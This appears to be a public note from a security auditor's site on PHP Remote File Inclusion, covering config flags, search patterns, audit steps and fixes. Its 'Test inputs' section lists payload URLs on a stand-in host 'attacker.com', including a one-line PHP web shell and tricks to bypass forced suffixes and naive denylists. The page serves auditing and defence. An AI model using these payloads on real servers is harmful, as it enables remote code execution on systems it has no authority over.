These notes are public, opinionated, and evolving — read abdelkader.ma for the long-form posts.
PHP SecurityRemote File Inclusion

Remote File Inclusion (RFI)

When allow_url_fopen = On and allow_url_include = On, include "http://attacker/x.php" fetches the remote file and executes it as PHP. Both directives must be on; allow_url_include has defaulted Off since PHP 5.2, but ships On in some shared-hosting setups, Docker images, and legacy php.ini overlays.

Same code path as LFI, remote URL instead of local path.

Why

include $_GET['template'];   // ?template=http://attacker.com/x.txt

If allow_url_include = On, PHP fetches the URL, reads it as PHP source, and executes it. Game over.

When the file extension is forced — include $page . ".php" — defeat it with a query string:

?page=http://attacker.com/shell.txt?
                                  ^ everything after is treated as query string

The server returns shell.txt; PHP sees the URL …/shell.txt?.php and is happy because the suffix is in the query string.

Search patterns

# Same as LFI — anything tainted reaching include / require
rg -n '\b(include|require|include_once|require_once)\b\s*\(?\s*\$' --type=php
 
# Specifically directly from superglobals
rg -n '\b(include|require)\b\s*\(?\s*\$_(GET|POST|REQUEST)' --type=php

Check the config:

php -i | rg 'allow_url_(fopen|include)'

allow_url_fopen controls whether fopen / file_get_contents / include can speak URLs at all. allow_url_include is the additional gate for include/require. RFI needs both on.

Test inputs

When you control a server (use a quick python3 -m http.server on a VPS or an ngrok tunnel):

  • http://attacker.com/shell.txt — content: <?php system($_GET['c']); ?>
  • https://attacker.com/payload.php
  • ftp://attacker.com/x.php
  • \\\\attacker\\share\\x.php (Windows SMB — when running on Windows)

Bypassing forced suffixes:

  • http://attacker.com/x? (suffix becomes part of query string)
  • http://attacker.com/x# (suffix becomes part of fragment — server doesn’t see it)
  • http://attacker.com/x.txt%00 (legacy null-byte truncation)

Bypassing naive http:// denylists:

  • HTTP://attacker.com/… (case)
  • hTtP://…
  • IP address: http://93.184.216.34/…
  • URL encoding: %68%74%74%70%3a%2f%2f…

Audit focus

For each dynamic include:

  1. allow_url_include — definitively Off in every environment? Don’t trust documentation, check the running process: <?php echo ini_get('allow_url_include'); ?>.
  2. Wrapper reach — even with allow_url_include Off, other wrappers (phar://, data://, php://filter) reach the include and exploit differently. See LFI.
  3. Allowlist — is there a tested allowlist of local paths (preferred), or are filters string-matching .. and http:// (insecure)?
  4. Multi-environment drift — staging may have different ini values than prod. Audit the build / deploy pipeline.

Fix

Disable allow_url_include permanently:

; php.ini
allow_url_include = Off

For Docker images:

RUN echo "allow_url_include = Off" >> /usr/local/etc/php/conf.d/security.ini

In application code, use the static-map pattern from LFI. Never construct an include path from a string that contains user input.

If you’re auditing a codebase and the allow_url_include config is outside your control (shared hosting), assume it could be On and treat every dynamic include as RFI-vulnerable.